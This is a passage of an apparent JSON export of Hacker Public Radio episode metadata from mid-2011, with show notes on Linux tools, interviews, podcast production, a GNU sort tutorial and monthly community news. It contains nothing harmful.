    \nI'm currently trialling 'MMA' 'Musical Midi Accompaniment' and 'Muse' and 'Lilypond'
    \n(Hope I can dispense with Windows-based software all together.)
    \n

    \n

    \nMy website and Blog can be found at 'www.tonydenton.com' and I am on Twitter as 'tonydenton.' My Identica name is 'Bariman' and I am occasionally found on IRC, also as 'Bariman'
    \n

    \n

    \nCheers for now . . .
    \n

    ","hostid":150,"series":73,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Jack Audio Driver\",limits.conf,\"audio mixer\",Ardour,Audacity,Kid3Tag,MMA,Muse,Lilypond","version":0,"downloads":2411,"valid":1}, {"id":756,"date":"2011-06-26","title":"Basics of RF","duration":2263,"summary":"An introduction to Radio Frequencies","notes":"

    \nLinks for this episode\n

    \n

    \n

    \n

    ","hostid":173,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"electromagnetic radiation\",\"packet radio\"","version":0,"downloads":2421,"valid":1}, {"id":757,"date":"2011-06-27","title":"Episode 0: ","duration":1132,"summary":"My first recording: Review of Ohava Computers Linux Laptop: OpenBook DO","notes":"

    \nMy attempt to get started, finally, with HPR, including a rambling introduction and, more usefully, a review of the OpenBook DO laptop from natively Linux laptop vendor \"Ohava Computers\".\n

    ","hostid":182,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"review,linux,laptop,new host","version":0,"downloads":2425,"valid":1}, {"id":758,"date":"2011-06-28","title":"Interview with Jon \"The Nice Guy\" Spriggs","duration":4297,"summary":"Ken interviews Jon Spriggs of CCHits.net","notes":"

    CCHits.net is a site promoting and featuring Creative Commons licensed music and the podcasts that play them. The site was designed with more than just this in mind. Here are some of the highlights

    \n
      \n
    • \n

      Encourage and Discover Great Music

      \n

      There's a lot of great Creative Commons Licensed Music out there, and not enough people know just what you can get hold of! To help ease the burdon of this issue, there are three things that we do:

      \n
        \n
      • By linking directly to artist's home sites rather than to our own holding pages for artists, we ensure that the artists get maximum exposure for their own material, without having to update our site when their own information changes!
      • \n
      • By linking to the source of the individual track, gives listeners a greater awareness of music sources, which hopefully should increase the exposure for sites who promote and list Creative Commons licensed music.
      • \n
      • By linking to podcasts which play Creative Commons licensed music, we give listeners the opportunity to find other shows that play the music they like - ultimately giving listeners a greater fountain of great music to select from, and hopefully giving them the opportunity to discover new artists and genres to add to their personal list of favourites.
      • \n
      \n
    • \n
    • \n

      Support Communities

      \n

      An attendor at various social groups, the original author of the code which drives cchits.net was unable to provide consistent, suitable background music for events he was involved in organising or just attending. This site was originally designed to find tracks which are generally acceptable for public play, and are available under a suitable license for public performance (which Creative Commons music should be!) By asking all submitters of music to identify the license under which the tracks are made available, as well as selecting whether tracks may not be suitable for work or family listening, it should be possible (once the code is in-place) to request from the site a suitable selection of music for playback at venues such as hackspaces, youth centres, or even just hold music for a business. Note that this site is not being created to build a re-licensing business, but instead to promote awareness of great music - there are other, better sites, that can advise and assist in the selection of Creative Commons music which are suitable for your business endeavour, but if you just want something for backing music for an hour or a whole day, this site might be (eventually!) just the thing for you.

      \n
    • \n
    • \n

      Create Podcasts and Improve Coding Techniques

      \n

      At the time of writing, cchits.net is the work of one person. For several months, Jon \"The Nice Guy\" Spriggs had been considering starting a podcast, however, he's not exactly known for finishing projects! By making a system which is automated enough to create a daily podcast, a weekly podcast and a monthly podcast, playing music that he likes to hear, he thought it might encourage him to stick to it - especially when there are other amazing goals (see above) which come out as a side benefit. He normally has described himself as a writer of \"bad PHP code\", and each project he starts improves the techniques he has learned.

      \n

      In this instance, CCHits.net has introduced Jon to the concept of writing an API that works, a system of remote execution of code, the generation of synthesized speech and the generation of an audio track, entirely in code! Never being shy of criticism from the community, especially where code is concerned, the code has all been released under a license which encourages reuse and requires the code is re-released under the same license.

      \n
    • \n
    \n\n

    If you already podcast, and you play Creative Commons Licesed Music on a regular basis, you might be interested in using the API on this site to track the music that people who listen to your show have expressed an interest in. Contact show@cchits.net to find out more

    \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"CCHits.net,music,\"Creative Commons\",PHP","version":0,"downloads":2177,"valid":1}, {"id":759,"date":"2011-06-29","title":"LPI study group","duration":2473,"summary":"A weekly meeting to revise for the LPI exams","notes":"

    This is a 13 week podcast of the LPI study group which was conducted with the linuxbasix.com group. This is a weekly meeting from June 8th to August 31 of 2011. Details can be found at the linuxbasix forums - www.linuxbasix.com

    \n

    \nSyndicated Thursday is a channel on HPR to expose our listeners to other podcasts, interesting talks, or just the weird and wonderful.\n

    ","hostid":159,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"LPI exam\",www.linuxbasix.com,PS1,export","version":0,"downloads":2410,"valid":1}, {"id":760,"date":"2011-06-30","title":"/dev/Rob0 of maintainer of the SlackBuilds.org mailing list","duration":545,"summary":"Klaatu interviews /dev/Rob0 at the South East Linux Fest 2011","notes":"

    Klaatu talks to /dev/Rob0, a Slackware user, maintainer of the SlackBuilds.org mailing list, and a presenter at the South East Linux Fest 2011.

    \n\n

    For lovers of ogg, the episode can also be found at the Gnu World Order website.

    ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2249,"valid":1}, {"id":761,"date":"2011-07-03","title":"HPR Community News for June 2011","duration":2655,"summary":"HPR Community News for June 2011","notes":"

    New hosts

    \n

    \nWelcome to our new hosts: Dave, \nNewAgeTechnoHippie, and\nEpicanis.\n

    \n\n

    Show Review

    \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    741HPR AdminsHPR Community News for May 2011
    742DaveHow I Got Into Linux
    743KFiveILF 2011: Interview with Jason Kridner of BeagleBoard
    744SkirletThe Language Frontier Episode 5
    745MrGadgetsWings
    746Ken FallonInterview with Tony Whitmore about OggCamp11
    747finux and code.cruncherBotnets and DNS Tunnelling
    748Dismal ScienceMy Favorite Audiocasts
    749Robin CatlingFull Cirle Podcast Editing the Podcast Part One Preparation
    750NewAgeTechnoHippieMy path to Linux
    751Lord Drachenblut and DownerBinary Evolutions
    752MrGadgetsMy Path to Linux: Knoppix
    753KFiveILF 2011: Interview with Klaatu of Slackermedia
    754SkirletThe Language Frontier Episode 6
    755BarimanLINUX JAZZ  BALLIN' THE JACK
    756JoelBasics of RF
    757EpicanisEpisode 0: "Acknowledgement Courtesan"
    758Ken FallonInterview with Jon "The Nice Guy" Spriggs
    759HPR AdminsLPI study group
    760klaatu/dev/Rob0 of maintainer of the SlackBuilds.org mailing list
    \n

    Thanks To

    \n
      \n
    • Fifty OneFifty for the picture of the combine
    • \n
    • Lostnbronx, MrGadgets for allowing rescheduling
    • \n
    • Jonathan Nadeau for looking at the site
    • \n
    \n

    Apologies To

    \n
      \n
    • Ice Gnu # at the end of recording
    • \n
    \n

    Month in Review

    \n
      \n
    • Business Cards for SELF and OggCamp11
    • \n
    • Shownotes in HTML
    • \n
    • A hair brained idea from 5150
    • \n
    • CC *cast and video torrent tracker
    • \n
    • Selecting a CMS
    • \n
    • hopr mirror pegwol
    • \n
    \n

    Callisto.fm

    \n

    \nA Callisto.fm user suggested that you add \"Hacker Public Radio\" to Callisto.fm!. Unfortunately the terms of service are not compatibel with a Creative Commons lisence.\n

    \n

    CMS BACKEND

    \n

    \nAll three are on par from an accessability point of view.
    \nEach would require additional coding to support the features of HPR
    \nFor now we'll stick with the droops(tm) cms\n

    \n

    RFC Changing show to CC-BY-SA

    \n

    \n17 hosts have replied and 100% of those that replied gave permission for the change to CC-BY-SA
    \n107 hosts have yet to reply.
    \nThis means that a little over 1/3rd of the shows have been re-licensed. I intend to email them directly as they may not be on the mail list.\n

    \n
    \nHi All,\n\nThis is an official request for a change of license that *NEW* shows\nare uploaded as.\n\nThe proposal is to change from:\nhttps://creativecommons.org/licenses/by-nc-sa/3.0/\n\nTo https://creativecommons.org/licenses/by-sa/3.0/\n\nThe RFC will be open for a month and the results will be announced\nhere and on July's HPR Community News. If approved all shows after\nthat time will be by default CC-BY-SA unless indicated in the show\nnotes. Further, I would then contact everyone that has hosted so far\nasking if we can relisence their show(s) as CC-BY-SA.\n\nThis is entirely up to the community so please use the mail list you\nvoice your opinion. Even a one liner is fine.\n\nKen.\n


    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2240,"valid":1}, {"id":762,"date":"2011-07-04","title":"THEATER OF THE IMAGINATION: 04","duration":1324,"summary":"lostnbronx speaks about dramatic audio","notes":"

    \n

    MY SITE

    \n

    https://info-underground.net/lnb

    \n

    \n

    ==========

    \n

    \n

    MY MICROPHONE

    \n

    \n

    CAD GXL2200

    \n

    (This is not where I bought mine, but the price seems pretty good -- better than I paid, anyway)

    \n

    \n

    ==========

    \n

    \n

    SHOWS MENTIONED

    \n

    \n

    Yours Truly, Johnny Dollar (At the Internet Archive)

    \n

    -----

    \nH.M.S. Lydia\n

    \n

    ==========

    \n

    \n

    MUSIC

    \n

    Citizen Nyx

    \n

    Undercover

    \n

    Creative Commons Attribution (3.0)

    \n

    -----

    \n

    Fat Chance Lester

    \n

    Napalm Lounge (ZIP file, OGG format)

    \n

    Creative Commons Attribution-ShareAlike 3.0 Unported

    \n

    ==========

    \n

    SOUND EFFECTS

    \n

    \n

    freesound

    \n

    Ahgghh_ses2.wav

    \n

    Creative Commons Sampling Plus 1.0 License

    \n

    -----

    \n

    ljudman

    \n

    grenade.wav

    \n

    Creative Commons Sampling Plus 1.0 License

    ","hostid":107,"series":52,"explicit":1,"license":"CC-BY-SA","tags":"\"condenser microphone\",XLR,\"phantom power\",\"pop filter\",\"audio drama\"","version":0,"downloads":2223,"valid":1}, {"id":763,"date":"2011-07-05","title":"Worst movie ever","duration":655,"summary":"MrGadgets talks about what are in his opinion some very terrible movies","notes":"

    \n

      \n
    1. \nRing of the Musketeers (TV 1992)
    2. \n
    3. Highway Honeys 1983
    4. \n
    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"movies,\"bad movies\"","version":0,"downloads":2176,"valid":1}, {"id":764,"date":"2011-07-06","title":"Matt Grove of Miserware - Energy-saving computing","duration":1432,"summary":"Granola is software that improves the energy efficiency of your PC or laptop","notes":"

    Energy-saving computing. It’s a neat concept, saving you money by saving you electricity. That’s money off your utilitiy bill while you do your bit to save the planet. Granola is software that improves the energy efficiency of your PC or laptop. A few weeks ago I spoke to Matt Grove from Miserware, who explained how it works…

    \n

    Your Host:

    \n\n\n

    Guest:

    \n\n

    Additional audio by Victoria Pritchard

    \n

    Runtime: 21mins 43seconds

    \n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2185,"valid":1}, {"id":765,"date":"2011-07-07","title":"South East Linux Fest organizers","duration":779,"summary":"Klaatu interviews Dave S. Yates and Jeremy Sands at the South East Linux Fest 2011","notes":"

    Klaatu talks to the organizers of this year's South East Linux Fest, Dave S. Yates (of the Lotta Linux Links podcast) and the tireless Mr. Jeremy Sands.

    \n\n

    For lovers of ogg, the episode can also be found at the Gnu World Order website.

    ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"SELF 2011, interview","version":0,"downloads":2182,"valid":1}, {"id":766,"date":"2011-07-10","title":"MrGadgets finds Linux","duration":1177,"summary":"A personal account of technological history","notes":"

    Mr Gadgets continues his journey from Micro Computer to Linux stopping by O/S 2 Warp and Windows 98

    \n\n

    Other shows in this group are:

    \n
      \n
    1. 2011-04-04, MrGadgets Path toward Linux
    2. \n
    3. 2011-05-15, Journey to Linux
    4. \n
    5. 2011-06-20, My Path to Linux: Knoppix
    6. \n
    7. 2011-07-10, MrGadgets finds Linux
    8. \n
    \n\n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OS/2,\"IBM PS/2\",Microchannel,SCSI,\"Windows 98\",Knoppix","version":0,"downloads":2290,"valid":1}, {"id":767,"date":"2011-07-11","title":"Maddog and \"super dumb terminals\"","duration":945,"summary":"Klaatu interviews John \"Maddog\" Hall at the South East Linux Fest 2011","notes":"

    At the South East Linux Fest 2011, Klaatu talks to Maddog about \"super dumb terminals\", super computing, a sys admin's rightful position in the world, and much more.

    \n\n

    For lovers of ogg, the episode can also be found at the Gnu World Order website.

    ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"SELF 2011, interview","version":0,"downloads":2358,"valid":1}, {"id":768,"date":"2011-07-12","title":"Sort","duration":870,"summary":"Ken describes the use of the GNU 'sort' command","notes":"

    \nExamples on Wikipedia\n

    \n\n

    \n\nFrom https://www.unix.com/man-page/Linux/1/sort/ and on your computer man sort\n

    \n
    \n\nNAME \n       sort - sort lines of text files\n \nSYNOPSIS \n       sort [OPTION]... [FILE]...\n       sort [OPTION]... --files0-from=F\n \nDESCRIPTION \n       Write sorted concatenation of all FILE(s) to standard output.\n \n       Mandatory  arguments  to  long  options are mandatory for short options\n       too.  Ordering options:\n \n       -b, --ignore-leading-blanks\n\t      ignore leading blanks\n \n       -d, --dictionary-order\n\t      consider only blanks and alphanumeric characters\n \n       -f, --ignore-case\n\t      fold lower case to upper case characters\n \n       -g, --general-numeric-sort\n\t      compare according to general numerical value\n \n       -i, --ignore-nonprinting\n\t      consider only printable characters\n \n       -M, --month-sort\n\t      compare (unknown) < `JAN' < ... < `DEC'\n \n       -n, --numeric-sort\n\t      compare according to string numerical value\n \n       -R, --random-sort\n\t      sort by random hash of keys\n \n       --random-source=FILE\n\t      get random bytes from FILE\n \n       -r, --reverse\n\t      reverse the result of comparisons\n \n       --sort=WORD\n\t      sort according to WORD: general-numeric -g,  month  -M,  numeric\n\t      -n, random -R, version -V\n \n       -V, --version-sort\n\t      natural sort of (version) numbers within text\n \n       Other options:\n \n       --batch-size=NMERGE\n\t      merge at most NMERGE inputs at once; for more use temp files\n \n       -c, --check, --check=diagnose-first\n\t      check for sorted input; do not sort\n \n       -C, --check=quiet, --check=silent\n\t      like -c, but do not report first bad line\n \n       --compress-program=PROG\n\t      compress temporaries with PROG; decompress them with PROG -d\n \n       --files0-from=F\n\t      read  input  from the files specified by NUL-terminated names in\n\t      file F; If F is - then read names from standard input\n \n       -k, --key=POS1[,POS2]\n\t      start a key at POS1 (origin 1), end it at POS2 (default  end  of\n\t      line)\n \n       -m, --merge\n\t      merge already sorted files; do not sort\n \n       -o, --output=FILE\n\t      write result to FILE instead of standard output\n \n       -s, --stable\n\t      stabilize sort by disabling last-resort comparison\n \n       -S, --buffer-size=SIZE\n\t      use SIZE for main memory buffer\n \n       -t, --field-separator=SEP\n\t      use SEP instead of non-blank to blank transition\n \n       -T, --temporary-directory=DIR\n\t      use  DIR\tfor temporaries, not $TMPDIR or /tmp; multiple options\n\t      specify multiple directories\n \n       -u, --unique\n\t      with -c, check for strict ordering; without -c, output only  the\n\t      first of an equal run\n \n       -z, --zero-terminated\n\t      end lines with 0 byte, not newline\n \n       --help display this help and exit\n \n       --version\n\t      output version information and exit\n \n       POS  is\tF[.C][OPTS],  where  F is the field number and C the character\n       position in the field; both are origin 1.  If neither -t nor -b\tis  in\n       effect,\tcharacters  in\ta  field are counted from the beginning of the\n       preceding whitespace.  OPTS  is\tone  or  more  single-letter  ordering\n       options,  which\toverride  global ordering options for that key.  If no\n       key is given, use the entire line as the key.\n \n       SIZE may be followed by the following multiplicative suffixes: % 1%  of\n       memory, b 1, K 1024 (default), and so on for M, G, T, P, E, Z, Y.\n \n       With no FILE, or when FILE is -, read standard input.\n \n       ***  WARNING  ***  The locale specified by the environment affects sort\n       order.  Set LC_ALL=C to get the traditional sort order that uses native\n       byte values.\n \nAUTHOR \n       Written by Mike Haertel and Paul Eggert.\n \nREPORTING BUGS \n       Report sort bugs to bug-coreutils@gnu.org\n       GNU coreutils home page: https://www.gnu.org/software/coreutils/\n       General help using GNU software: https://www.gnu.org/gethelp/\n \nCOPYRIGHT \n       Copyright  (C)  2009  Free Software Foundation, Inc.  License GPLv3+: GNU\n       GPL version 3 or later .\n       This is free software: you are free  to\tchange\tand  redistribute  it.\n       There is NO WARRANTY, to the extent permitted by law.\n \nSEE ALSO \n       The  full documentation for sort is maintained as a Texinfo manual.  If\n       the info and sort programs are properly installed  at  your  site,  the\n       command\n \n\t      info coreutils 'sort invocation'\n \n       should give you access to the complete manual.\n \nGNU coreutils 7.4\t\t October 2009\t\t\t       \n
    \n\n\n

    \nThe command that promped me to record this episode\n

    \ncat camera-x.txt | sed 's[Camera Model Name               : [[g'| \\\nawk -F ';' '{print $2\" \"$1}' | \\\nsort -i -b -k1,1 -u | \\\ngrep -v \"^ \"\n
    \n

    ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"GNU sort\"","version":0,"downloads":2208,"valid":1}, {"id":769,"date":"2011-07-13","title":"Linux Outlaws 215 - Bitcoin Discussion","duration":7293,"summary":"Dan and Fab discuss the technology and politics of the Bitcoin crypto-currency","notes":"

    \nOn HPR, Thursdays are reserved to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we'll add it to the queue.\n

    \n

    Linux Outlaws 215 - Bitcoin Discussion

    \n\n

    \nReleased: June 29, 2011
    Length: 1:59:54

    \n

    \nDan and Fab discuss the technology and politics of the Bitcoin crypto-currency.

    \n\n

    \nIn this special in-depth episode of the show, Dan and Fab discuss the Bitcoin crypto-currency. This is a very detailed episode, so you better settle in and get a hot beverage of your choice.

    \n\n

    \nLinks for the show:

    \n

    \nOur Bitcoin address: 1GC2PU7nPi8vnDni3NoywTtKYsJHJ9SJHA

    \n\n

    https://sixgun.org/linuxoutlaws/215

    ","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"bitcoin,crypto-currency,\"linux outlaws\"","version":0,"downloads":3384,"valid":1}, {"id":770,"date":"2011-07-14","title":"byobu","duration":633,"summary":"Byobu is an enhancement for the GNU Screen terminal multiplexer","notes":"

    \nbyobu is a script that launches GNU screen in the byobu configuration. This enables the display of system information and status notifications\nwithin two lines at the bottom of the screen session. It also enables multiple tabbed terminal sessions, accessible through simple keystrokes. \n

    \n\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"byobu,GNU screen,tmux,Xubuntu","version":0,"downloads":2365,"valid":1}, {"id":771,"date":"2011-07-15","title":"Mischief Managed","duration":1403,"summary":"Keeping your private data private during a border security check","notes":"

    With Customs in various countries acting as Copyright Cops, using any excuse to rifle through your personal and private data not only for threats, but copyright infringement. Wouldn't it be great to have invisible ink? You can get your private data through Customs, under the scrutiny of the Copyright Cops while also being a fully cooperative model citizen.

    \n

    ThistleWeb discusses three ways to do this with the drawbacks of each.

    \n
      \n
    • Using a Cloud service of some sort to store your data on as you travel, where you upload then download after going through Customs.
    • \n
    • Using a decoy user account on your regular installed distro
    • \n
    • Using a decoy distro as a dual boot
    • \n
    \n

    Harry Potter got the Marauders Map in book three, which transforms to blank parchment with a tap of the wand the words \"mischief managed\" so nobody knows it's a dynamic map of Hogwarts and it's inhabitants. Now your laptop or netbook can have the same invisible ink qualities.

    \n

    So repeat after me \"I solemnly swear that I am up to no good!\"

    \n

    Just like the GPL, use at your own risk.

    ","hostid":106,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"customs,TSA,security check","version":0,"downloads":2379,"valid":1}, {"id":772,"date":"2011-07-18","title":"Circuit Bending","duration":592,"summary":"Adding volume control to children's electronic toys","notes":"

    I realize that what I have done is not\ntruly circuit bending, but I felt that it was interesting and \n

    \n

    was the closest related topic to my\nhacking. \n

    \n



    \n

    \n

    Tools I have used:

    \n

    Precission Screw drivers: flat,philips,\ntorx, triwing, and allen

    \n

    knife or wire cutter

    \n

    soldering iron

    \n

    electrical tape

    \n

    package of various resitors

    \n

    varialbe resistors ( potentiometers)

    \n

    Capacitors

    \n

    super glue

    \n



    \n

    \n

    Here are some links that may be useful for this type of hacking.

    \n

    Disassemply

    \n

    https://en.wikipedia.org/wiki/Screw_drive

    \n

    Actual Circuit bending

    \n

    https://en.wikipedia.org/wiki/Circuit_bending

    \n

    https://www.circuitbending.com/

    \n

    https://www.circuitbenders.co.uk/

    \n

    Passsive Audio Filtering \n

    \n

    https://www.dact.com/html/passive_preamp.html

    \n

    https://fluxmonkey.com/electronoize/passiveDividersFilters.htm

    \n

    https://en.wikipedia.org/wiki/Resistor

    \n

    Soldering

    \n

    https://www.kingbass.com/soldering101.html

    \n



    \nContact NewAgeTechnoHippie at gmail \nfor question or comments\n

    \n","hostid":177,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"electronics,resistor,capacitor,soldering","version":0,"downloads":2142,"valid":1}, {"id":773,"date":"2011-07-19","title":"Gabriel Weinberg of DuckDuckGo","duration":1708,"summary":"Interview with Gabriel Weinberg of DuckDuckGo","notes":"

    \nTodays interview is with Gabriel Weinberg, founder of DuckDuckGo
    \nDuckDuckGo is a search engine based in Valley Forge, Pennsylvania that uses information from crowd-sourced sites (like Wikipedia) with the aim of augmenting traditional results and improving relevance. The search engine philosophy emphasizes privacy and does not record user information.\n

    \n

    ","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"\"search engine\",privacy","version":0,"downloads":2364,"valid":1}, {"id":774,"date":"2011-07-20","title":"Full Circle Podcast: Part Two, Recording and Editing the Podcast","duration":314,"summary":"The process of preparing the Full Circle Podcast: recording","notes":"

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n

    Some time ago we received a listener request to talk about how we record and edit the Full Circle Podcast. So here it is, in several parts. Part Two is all about the recording itself.

    \n

    Runtime: 5mins 14seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Behringer microphone\",\"pop filter\",Skype,\"Skype call recorder\"","version":0,"downloads":2149,"valid":1}, {"id":775,"date":"2011-07-21","title":"HPR AudioBookClub Shadowmagic","duration":4300,"summary":"The HPR AudioBookClub reviews Shadowmagic by John Lenahan","notes":"

    \nIn this episode of the HPR audio book club Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Shadowmagic written and read by John Lenahan. Also Ken Fallon has recorded a very special opening segment which we've included for your edification. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. All three hosts and our guest, Ken Fallon, enjoyed and recommend the book.\n

    \n

    \nYou can download this audiobook for free (or voluntary donation) from https://www.podiobooks.com/title/shadowmagic \n

    \n

    \nFor more information regarding Shadowmagic and its author, please visit https://www.shadowmagic.co.uk/\n

    \n

    \nThe paperback edition of Shadowmagic can be purchased at https://www.bookdepository.com/book/9781905548927/Shadowmagic\n

    \n

    \nThe music from Shadowmagic was performed by Lúnasa. It received mixed, but enthusiastic opinions from our hosts. You can find out more about Lunasa at their website https://www.lunasa.ie/\n

    \n

    \nDuring this show the hosts also discuss alcohol beverages. \n

    \n

    \n

    \n

    \n

    \nOur next audiobook will be Handbook for the Criminally Insane by Brian Holtz. It is available at podiobooks.com The direct link is: https://www.podiobooks.com/title/handbook-for-the-criminally-insane\n

    \n

    \n

    \n

    \n

    \nKen's Link to the correct pronunciation of Oisin https://www.pronouncenames.com/search?name=oisin \n

    \n

    \nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\n

    \n

    \nSincerely,\nThe HPR_AudioBookClub\n

    \n

    \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.

    \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":2315,"valid":1}, {"id":776,"date":"2011-07-22","title":"Open Shorts ep 3","duration":1544,"summary":"Open Source and Hackable Hardware","notes":"MrGadgets revives his old show https://openshorts.wordpress.com/ OpenShorts Podcast Revelation of Open Source and Hackable Hardware, and gives us episode three.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Linksys NSLU2\",\"Radio Shack\",Heathkit,Microcentre,soldering","version":0,"downloads":2226,"valid":1}, {"id":777,"date":"2011-07-25","title":"What is Cloud?","duration":4646,"summary":"A look at aspects of the services jointly referred to as \"The Cloud\"","notes":"In today's HPR, Josh, StankDawg and Voeltz discuss what \"cloud\" is and what questions you should ask before moving to the cloud.\n","hostid":55,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hypervisor,\"virtual environment\",container,security,\"network storage\",SAS,PAAS","version":0,"downloads":2407,"valid":1}, {"id":778,"date":"2011-07-26","title":"George Washington Carver","duration":144,"summary":"A \"Summer Short\" introduction to one of Lostnbronx's personal heroes","notes":"The summer shorts are intended to be shortform twitter like audio updates. \n\nIn this summer short we are introduced to George Washington Carver, a personal hero of lostnbronx \n\nhttps://en.wikipedia.org/wiki/George_Washington_Carver","hostid":107,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"summer shorts","version":0,"downloads":2288,"valid":1}, {"id":779,"date":"2011-07-28","title":"10 Buck Review: War Games","duration":8187,"summary":"The 10 Buck Review podcast do a colorful, detailed review of the classic thriller: WarGames","notes":"

    \nToday on HPR we dip into the past and pluck out a gem for our Syndicated Thursday slot.\n

    \n

    \nTaken from https://tenbuckreview.net/2010/episode-13-wargames-2/\n

    \n\n

    Would you like to play a game? How about a nice game of thermonuclear war? Strap in as we review a classic movie about hacking and nuclear tensions.

    \n

    Special Thanks go to Kilroy2.0 for the intro bumper and not hijacking our site for his own purposes yet. As well as DualCore for the permission to play there track War Games for the closing music.

    \n

    \n

      \n
    • https://www.imdb.com/title/tt0086567/
    • \n
    • https://en.wikipedia.org/wiki/WarGames
    • \n
    \n

    ","hostid":24,"series":109,"explicit":1,"license":"CC-BY-SA","tags":"10 Buck Review","version":0,"downloads":2110,"valid":1}, {"id":780,"date":"2011-07-29","title":"NovaCut","duration":2406,"summary":"klaatu interviews Jason DeRose about a Kickstarter campaign for NovaCut, a video editor","notes":"klaatu talks to Jason DeRose about NovaCut (https://novacut.com/)\n
    \nThe fund raiser will end on Friday Jul 29, 11:00pm EDT and they have 774 Backers. They already have raised $25,435 of their $25,000 goal\n
    \nhttps://www.kickstarter.com/projects/novacut/novacut-pro-video-editor","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Kickstarter,NovaCut,\"video editor\"","version":0,"downloads":2451,"valid":1}, {"id":781,"date":"2011-07-31","title":"HPR Community News for July 2011","duration":980,"summary":"HPR Community News for July 2011","notes":"

    New hosts

    \n

    \nThere were no new hosts this month. We're always looking for new hosts so please contribute a show.\n\n

    \n\n

    Show Review

    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    id\nhost\ntitle\n
    761HPR AdminsHPR Community News for June 2011
    762lostnbronxTHEATER OF THE IMAGINATION: 04
    763MrGadgetsWorst movie ever
    764Robin CatlingMatt Grove of Miserware - Energy-saving computing
    765klaatuSouth East Linux Fest organizers
    766MrGadgetsMrGadgets finds Linux
    767klaatuMaddog and "super dumb terminals"
    768Ken FallonSort
    769HPR AdminsLinux Outlaws 215 - Bitcoin Discussion
    770JWPbyobu
    771ThistlewebMischief Managed
    772NewAgeTechnoHippieCircuit Bending
    773Ken FallonGabriel Weinberg of DuckDuckGo
    774Robin CatlingFull Cirle Podcast Part Two Recording Editing the Podcast
    775HPR_AudioBookClubHPR AudioBookClub Shadowmagic
    776MrGadgetsOpen Shorts ep 3
    777Josh Knapp, Voeltz, StankDawgWhat is Cloud?
    778lostnbronxGeorge Washington Carver
    779Lord Drachenblut10 Buck Review: War Games
    780klaatuNovaCut
    \n\n

    Thanks To

    \n
      \n
    • Scott Dicks for pointing out a bad link in episode 759
    • \n
    • Everyone that replied to the call for change of license
    • \n
    \n

    Apologies To

    \n
      \n
    • those that have bad memories
    • \n
    \n

    Month in Review

    \n
      \n
    • HPR ranked #8 Geek Podcast by Linux Format
    • \n
    • Jason Scott has a new way to upload to Archive.org
    • \n
    • New Outro
    • \n
    • Short of shows
    • \n
    • Summer Shorts
    • \n
    • Request for an episode on Internet Shooping bill
    • \n
    • What would you like to hear in a hpr presentation
    • \n
    \n

    \n\n

    RFC Changing show to CC-BY-SA

    \n

    \nSome old shows may contain music that we cannot re-license
    \n49 hosts agree to the change, representing 376 shows
    \n76 hosts disagree or have not replied, representing 400 shows\n

    \n\n

    Events

    \n`\n

    OggCamp 11 is a free two-day unconference (unscheduled conference) for anyone who loves anything related to technology, data, culture, community, open source...and more!

    \n

    AUGUST 13 & 14, FARNHAM MALTINGS

    \n\n\n
    \n\n

    When is PhreakNIC?

    \n

    November 4-6, 2011

    \n

